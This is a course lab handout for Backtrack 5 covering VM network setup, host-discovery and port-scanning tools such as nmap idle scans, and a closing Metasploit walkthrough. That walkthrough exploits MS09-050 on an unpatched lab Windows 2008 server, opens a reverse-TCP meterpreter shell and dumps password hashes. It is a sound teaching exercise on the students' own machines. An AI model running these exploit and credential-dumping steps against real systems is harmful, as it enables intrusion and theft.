01- Introduction & Backtrack 5

Class Introduction

The purpose of this lab is to get us started with the classroom environment and to get us familiar with some of Backtack’s capabilities.

Starting Virtual Machines

Start and log in to each of the following virtual machines

• Backtrack 5 R1
• Mint 11
• OpenSuSE 11.3
• Vista (x64)
• Windows Server 2008

The hosts in the lab are 64 bit machines with 16GB of RAM; starting all five of these machines concurrently from the provided images should occur without incident, but it will give the host a bit of a workout.

The images provided to the class have the default user “vimes” and the default password is always “password1!”

The only exception is the Backtrack box; use the root account with the password “toor”.

We will be using other virtual machines as the course progresses, including

• CentOS 6.2 (x64)
• Ubuntu 11.04
• Vista Business SP2
• Windows 7
• Windows 7 SP1 (x64)
• Windows 2008 Server R2 (x64)

Copying virtual machines

VMWare allows for two different ways to replicate a virtual machine- they can be “moved” or they can be “copied”. When the files containing a virtual machine are moved to a different location and then run in VMWare, then when the virtual machine is booted, VMWare will ask if the machine should be moved or copied.

When a virtual machine is “moved” then it essentially makes a clone of the original. If both the original and the moved machine are run on the same network however, trouble will ensue, as both machines will have an identical MAC address, ensuring hours of network troubleshooting fun. For this reason, VMWare recommends that you copy the machine; when this occurs, the new machine will have a different MAC address than the old one. Yay!.

Well, almost. Most modern linux distributions use the udev device manager subsystem to allow devices to be added and removed from a linux system. In some distributions, udev identifies network cards by their MAC address, so when the MAC address of a network changes, the system considers it to be a new device and so created a new set of rules for its configuration. As a consequence, the network in the copied machine no longer functions, as the network interface with the original MAC address is no longer (virtually) present in the system, while the new (virtual) network card has not been configured.

The solution is to edit the configuration rules for the udev subsystem so that the configuration of the old network card is applied to the new one.

In OpenSuSE 11.3 as an example, open the file /etc/udev/rules.d/70-persistent-net.rules; you end up with contents similar to the following:

# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

# PCI device 0x1022:0x2000 (vmxnet)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", 
ATTR{address}=="00:0c:29:7c:7c:62", ATTR{dev_id}=="0x0", 
ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"

# PCI device 0x1022:0x2000 (vmxnet)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", 
ATTR{address}=="00:0c:29:f0:cb:de", ATTR{dev_id}=="0x0", 
ATTR{type}=="1", KERNEL=="eth*", NAME="eth1"

We can see that the MAC address of the original network card was 00:0c:29:7c:7c:62 and it was given the device name eth0, while the new network card has MAC address 00:0c:29:f0:cb:de, and is assigned the name eth1. Your particular case will have different MAC addresses to be sure. To solve the problem, we delete the line for the first device, and change the name of the second device to eth0, giving us a file like

# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

# PCI device 0x1022:0x2000 (vmxnet)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", 
ATTR{address}=="00:0c:29:f0:cb:de", ATTR{dev_id}=="0x0", 
ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"

At this point, simply reboot the machine, and all will work as it ought to.

Not every linux distribiution needs to be so modified, and the precise file that contains the settings can also vary.

• Mint 11: No changes needed.
• OpenSuSE 11.3: Modify /etc/udev/rules.d/70-persistent-net.rules
• CentOS 5.5: No changes needed.
• CentOS 6.2: Modify /etc/udev/rules.d/70-persistent-net.rules
• Ubuntu 9.10 Desktop: Modify /etc/udev/rules.d/70-persistent-net-rules
• Ubuntu 10.10, 11.04: No changed needed.
• Backtrack 5 R1: Modify /etc/udev/rules.d/70-persistent-net.rules

Make the necessary changes to your OpenSuSE 11.3 box and your Backtrack box, and reboot.

Verify that all machines are running and correctly networked. The class DHCP server should provide them all with an address on the 10.0.1.1/24 subnet, and the machines should all be able to access each other and the class gateway at 10.0.1.254.

Wireshark

Many of the exercises below require packet captures. To start a wireshark packet capture on your BT5 R1 box, navigate Applications → Backtrack → Information Gathering → Network Analysis → Network Traffic Analysis → wireshark.

Or just go crazy, start a terminal and type

root@bt:~# wireshark &

BTW- you should know the purpose of the ampersand (&)- if you don’t, find out!

Command Line Tools

Backtrack comes with a number of tools to determine the hosts that are active on
a network. Let us examine some of the more common choices.

fping

Run the tool fping against a network range, e.g.

root@bt:~# fping -g 192.168.1.1 192.168.1.255

• What are the advantages and disadvantages of fping compared to a simple ping?
• What does the -a option do? What does the -u option do?
• How well do those options work in practice?
• What happens when you dump the results to a file, e.g.

  root@bt:~# fping -a -s -q -g 192.168.1.1 192.168.1.255 > results
  

hping3

• Take a look at the man page for hping3. Do you notice anything unusual?
• Use hping3 to scan your Vista x64 host using TCP 135 as your destination. What is the result?
• Disable the firewall on the Vista machine, and repeat. Are the results different?
• USe hping3 to scan one of the Linux hosts, also using TCP 135. What occurs?
• Run Wireshark, and take a packet capture to show that hping used the port you specified

arping

Run the tool arping against a known host- e.g.

root@bt:~# arping 192.168.1.100 -c5

• Identify the packets sent out and the return packets in your capture.
• What packets are seen by the target of your scan?
• Read the man page for arping.
• Will the option -0 prevent your host being identified by the target of your scan? Why or why not?
• Verify your result with a packet capture.

netdiscover

Start a wireshark capture file, then run an active scan against the local network- e.g.

root@bt:~# netdiscover -r 192.168.1.0/24

• Did the tool succesfully enumerate the network?
• From the packet capture, how did the tool enumerate the network?
• Would any of the targets been able to identify the IP address of the scan? If so, how?

Next try a passive scan:

root@bt:~# netdiscover -p -r 192.168.1.0/24

Again, run a packet capture.

• Does your scan enumerate any hosts on the network?
• If a host uses the network, is it picked up by your passive scan?
• What would happen if you were running a passive scan and an opponent in class ran an active scan?
• How many packets did your passive scan send?

nping

Try out nping. Run four scans- a ICMP Ping scan, a UDP scan, a TCP scan, and an ARP scan.

lanmap2

Run lanmap2; it can ba accessed from the menu by navigating Applications → Backtrack → Information Gathering → Network Analysis → Network Scanners → lanmap2.

Is this a helpful tool? Take a look at the README file at /pentest/enumeration/lanmap2. Run the graph script it mentions, and view the resulting network graph. Is it helpful? Is the web page (/pentest/enumeration/lanmap2/web/index.html) useful?

Does this tool send any packets? How might that be useful?

nmap

The premier tool for network scanning remains nmap.

To select targets, you have a number of options, including

• CIDR notation:

  root@bt:~# nmap 192.168.1.0/24

• A range of IP addresses:

  root@bt:~# nmap 192.168.1.1-255

• You can mix ranges:

  root@bt:~# nmap 10.0.0,2,3,4.1-254

• You can combine ranges:

  root@bt:~# nmap 192.168.1.0/24 10.0.1.2,3,4.1-254

• You can specify the name in a file list

  root@bt:~# nmap -iL hostnames.txt

Like the tools we have seen so far, there are a number of ways to use nmap to
enumerate a network.

• To get a list of IPs from a host name by doing DNS only, so that no packets
  get sent to the final targets

  root@bt:~# nmap -sL host.target.com/28

• To just ping the hosts to find out if they respond

  root@bt:~# nmap -sP 10.0.2.0/24

• To scan without ping

  root@bt:~# nmap -PN 10.0.2.0/24

• To scan using ping

  root@bt:~# nmap -PE 10.0.2.0/24

• The TCP SYN Ping sends SYN packets to the specified ports to see if there is a response. As an example, consider

  root@bt:~# nmap -PS20-22,25,53,80,111,135,139,445

• The same activity can be performed with TCP ACK packets

  root@bt:~# nmap -PA20-22,25,53,80,111,135,139,445

• Scans can also be performed using UDP packets

  root@bt:~# nmap -PU54,68,137

  Can you explain why these tend to be less reliable than other methods?

• We can also use nmap to send ARP requests to see if a host is up:

  root@bt:~# nmap -PR 10.0.2.0/24

  Note that this only works on the same network segment (Why?!)

If no options are specified, then the default is -PA -PE, with port 80 (only) for the ACK scan.

The real value of nmap comes however, from the way which it can also determine the port(s) that the target has open. There are a number of different ways to do this however, and it is important to understand how they work.

The simplest type of scan is a SYN stealth scan. The reported result depends on the sequence of packets:

• Open Port:
  • Scanner sends SYN to target
  • Target sends SYN/ACK to scanner
  • Scanner sends RST to target
• Closed Port:
  • Scanner sends SYN to target
  • Target sends RST to scanner
• Filtered Port:
  • Scanner sends SYN to target
  • No response (after re-transmission) or ICMP unreachable error received by scanner.

This is called a stealth scan because the scanner never completes the three-way TCP handshake. To launch one, simply run

root@bt:~# nmap -sS 10.0.2.0/24

A louder type of scan is the TCP connect scan. It is similar to the stealth scan, but will
complete the full three way handshake. The reported results are:

• Open Port:
  • Scanner sends SYN to target
  • Target sends SYN/ACK to scanner
  • Scanner sends SYN/ACK to target
  • Data may be exchanged
  • Scanner sends RST to target
• Closed Port:
  • Scanner sends SYN to target
  • Target sends RST to scanner
• Filtered Port:
  • Scanner sends SYN to target
  • No response (after re-transmission) or ICMP unreachable error received by scanner.

To launch one, simply run

root@bt:~# nmap -sT 10.0.2.0/24

UDP scans are handled somewhat differently, as even an open UDP port might not respond to any particular received UDP packet. The results of a UDP scan, depending on the packets transferred, are:

• Open | Filtered Port:
  • Scanner sends UDP packet to target
  • The target fails to respond, even after retransmission
• Closed Port:
  • Scanner sends UDP packet
  • Target responds with an ICMP port unreachable packet
• Filtered Port:
  • Scanner sends UDP packet
  • Target responds with a different ICMP error message

To launch a UDP scan, run

root@bt:~# nmap -sU 10.0.2.0/24

There are a number of other, more esoteric scans, including the XMAS, FIN, ACK, and NULL scans that we will not discuss.

More interesting is the Zombie Scan (or Idle Scan) which uses a machine that is idle to scan a third party. As a consquence, the scanning machine does not appear in the logs of the target.

There are only two possible return values for a Zombie Scan- Open and Closed | Filtered.

• For a Zombie Scan of an open port, the sequence of packets is
  • Scanner sends SYN/ACK to Zombie
  • Zombie responds with RST packet, which reveals the Zombie’s IP ID
  • Scanner sends a SYN packet to the target, but using the Zombie’s IP address instead of its own.
  • The target responds with a SYN/ACK packet back to the Zombie
  • The Zombie, not expecting a SYN/ACK from the target, sends RST to the target
  • The scanner sends SYN/ACK to the Zombie
  • The Zombie, again reponds with RST back to the scanner, revealing its IP ID
  • Since the IP ID has been incremented by 2, we conclude the port is open
• For a Zombie Scan of a closed | filtered port, the sequence is:
  • Scanner sends SYN/ACK to Zombie
  • Zombie responds with RST packet, which reveals the Zombie’s IP ID
  • Scanner sends a SYN packet to the target, but using the Zombie’s IP address instead of its own.
  • If the target port is closed, he target responds with a RST packet back to the Zombie
  • If the target port is filtered, the target sends nothing back to the Zombie
  • Either way, the Zombie sends nothing back to the target/
  • The scanner sends SYN/ACK to the Zombie
  • The Zombie, again reponds with RST back to the scanner, revealing its IP ID
  • Since the IP ID has been incremented by 1, we conclude the port is closed | filtered.

To launch a Zombie scan, the syntax is

root@bt:~# nmap -sI zombie.com target.com

Of course you can use IP addresses instead of DNS names.

To scan a particular port range, use -p. You can mix and match, as well as specify TCP & UDP (though if you specify both TCP & UDP you need to include a TCP Scan type (e.g. -sS) and a UDP scan (-sU)

root@bt:~# nmap -sU -sS -p U:53, T:21-25,80 target.com

To use nmap to guess the OS, use the -O option (or -A)

root@bt:~# nmap -O 10.0.1.24

To enable version detection, use the -sV option (or -A)

The option -A (agressive scan) withh apply -O, -sV as well as enabling script scanning and traceroute.

The option -6 will apply IPv6 scanning.

You adjust the timing of the scan with the various -T options.

• -T0 (paranoid) (wait 5 minutes between probes)
• -T1 (sneaky) (Wait 15 seconds between probes)
• -T2 (polite) (as low as 1/10 speed of -T3)
• -T3 (normal)
• -T4 (agressive)
• -T5 (insane)

It should be noted that historically this class has been full of impatient students who like to use -T5 on their scans. The good news for them is that some of the data they get back from such fast scans contains some accurate information. Usually.

There are a number of ways to store the output of the scan, depending on various -o options.

• -oN filename will send the output to the named file.
• -oX filename will send output as .xml to the named file.
• -oA filename will send it to all available formats (filename.nmap (-oN) filename.xml (-oX) and filename.gnamp (-oG)).

Finally, we note that the option -v increases the verbosity of the output.

• Run an nmap scan of your Mint 11 box, including a version scan. Save the result as a file.
  Is the scan able to identify the host OS? Why do you think nmap gave you that answer?
• Run an nmap scan of your Windows Vista box, including a version scan. Do so with the
  firewall on the Vista machine turned off. Is the scan able to identify the host OS?
  Explain the logic of your decision.

Zenmap

Backtrack comes with a nice graphical front-end to nmap, called zenmap. It can be found
by navigating Applications → Backtrack → Information Gathering → Network Analysis
→ Identify Live Hosts &arr; zenmap

The tool lets you choose the target and the scan type; it also shows the precise combination
of flags that you have selected.

One nice feature of zenmap is that the various buttons enable the user to view the results graphically.

Another nice feature is the network diagram that Zenmap can generate.

• Use Zenmap to scan your OpenSuSE box. Use an agressive scan.

Graphical Tools

netifera

Start netifera by first navigating Applications → Backtrack → Information Gathering → Network Analysis → Identify Live Hosts &arr; netifera

Enter the IP block that you want to scan in the address bar; say 192.168.1.0/24 and press return. When you do so, you will be presented with something like the following:

Expand the netblock, and then hover over the provided IP range. A list of actions will be provided; in the bottom left corner is a magnifying glass; hover over that to be told that it will let you Scan Common TCP and UDP Services.

Running that scan provides you with basic information about the hosts, and expanding on one of the hosts will provide a list of ports and services available.

From here, hovering over one of the services will give you additional menus (depending on the provided service) to let you gain additional information.

Run Netifera on your network. How useful is the tool?

Autoscan

Autoscan is a tool that performs an automated scan of the network you designate.
It is available on the Backtrack machine; to run it navigate Applications → Backtrack → Information Gathering → Network Analysis → Network Scanners &arr; autoscan

Try out the tool. It can be a bit slow to run, especially on larger networks, so be patient waiting for results.

One potentially valuable feature is that it can store the baseline state of a network, and so alert you if a new device is added to your network.

Metasploit

To understand the hands on aspects of cyber security, it is important that we understand how hackers can attack a system. To that end, we are going to demonstrate how to attack our Windows 2008 Server machine using Metasploit.

The version of Windows 2008 server provided in the class laboratory is completely unpatched, meaning that it is vulnerable to a number of attacks. We will take advantage of the MS09-050 vulnerability, which was announced in October 2009. Because this is just an example, we will further simplify our lives and turn off the firewall on the server machine- there is no point trying to exploit a machine if it won’t even respond to our packets!

Fire up a console on our Backtrack machines, and then run the msfconsole command

root@bt:~# msfconsole 

# cowsay++
 ____________

 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 793 exploits - 431 auxiliary - 129 post
+ -- --=[ 239 payloads - 27 encoders - 8 nops
       =[ svn r14613 updated today (2012.01.26)

msf > 

This takes us to the console prompt for metasploit. Our first step is to select the
exploit we will use:

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index 
msf  exploit(ms09_050_smb2_negotiate_func_index) > 

Once an exploit is selected, we need to determine what option(s) need to be passed
to that exploit module:

msf  exploit(ms09_050_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  445              yes       The target port
   WAIT   180              yes       The number of seconds to wait 
                                     for the attack to complete.


Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)

From this, we see that the key option we need to specify is the address of the target.
In this example, I will use the 2008 Server running on my local network at 192.168.1.107:

msf  exploit(ms09_050_smb2_negotiate_func_index) > set rhost 192.168.1.107
rhost => 192.168.1.107

Next we determine which payload we want to use. There are 239 to choose from, but we will
use one of the more common and more powerful options- the meterpreter shell, connected through a reverse TCP connection.

msf  exploit(ms09_050_smb2_negotiate_func_index) > set payload 
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Another “show options” command tells us that we also need to specify the address on which we will listen for the outbound connections from the target; we select the IP address of the Backtrack box, which is 192.168.1.108

msf  exploit(ms09_050_smb2_negotiate_func_index) > set lhost 192.168.1.108
lhost => 192.168.1.108

With the required data in the system, we then attempt to exploit the remote target with
the “exploit” command:

msf  exploit(ms09_050_smb2_negotiate_func_index) > exploit

[*] Started reverse handler on 192.168.1.108:4444 
[*] Connecting to the target (192.168.1.107:445)...
[*] Sending the exploit packet (872 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (752128 bytes) to 192.168.1.107
[*] Meterpreter session 1 opened (192.168.1.108:4444 
-> 192.168.1.107:49159) at 2012-01-25 23:26:17 -0500

meterpreter > 

At this point, we can pretty much pillage the system to our hearts content. As a simple example, let’s get the accounts and password hashes for the system:

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY dd6619ae8240c86fecf1187d7f5cd2c1...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Sam Vimes:1000:aad3b435b51404eeaad3b435b51404ee:5b4c6335673a75f13ed948e848f00840:::

These can then be sent to a convenient password cracker for later analysis.

Because the emphasis in the course is on defensive techniques, we will not consider metasploit in the kind of detail which it deserves, but instead will refer you to the class references for more information.

• As an exercise, exploit your own Windows 2008 server as discussed above. Take a screenshot of the compromised system from within Backtrack.

Assessment

Each team member should accomplish each of the following tasks as they progress through this document:

• Provide the output of an fping command dumped to a file. Include the full command.
• Provide a packet capture of an hping3 scan. Include only the relevant packets.
• Provide a packet capture of an arping scan.
• Show the results of a passive netdiscover scan.
• Show the image taken from a lanmap2 scan.
• Show the results of a successful nmap zombie scan.
• Use Zenmap to obtain a graph of the lab’s network topology.
• Exploit your own Windows 2008 Server, and dump the password hashes.

These should be completed prior to the start of class on Monday, February 6. Whichever team does the best job on these and subsequent spot checks will receive extra assistance as they prepare for the team exercises.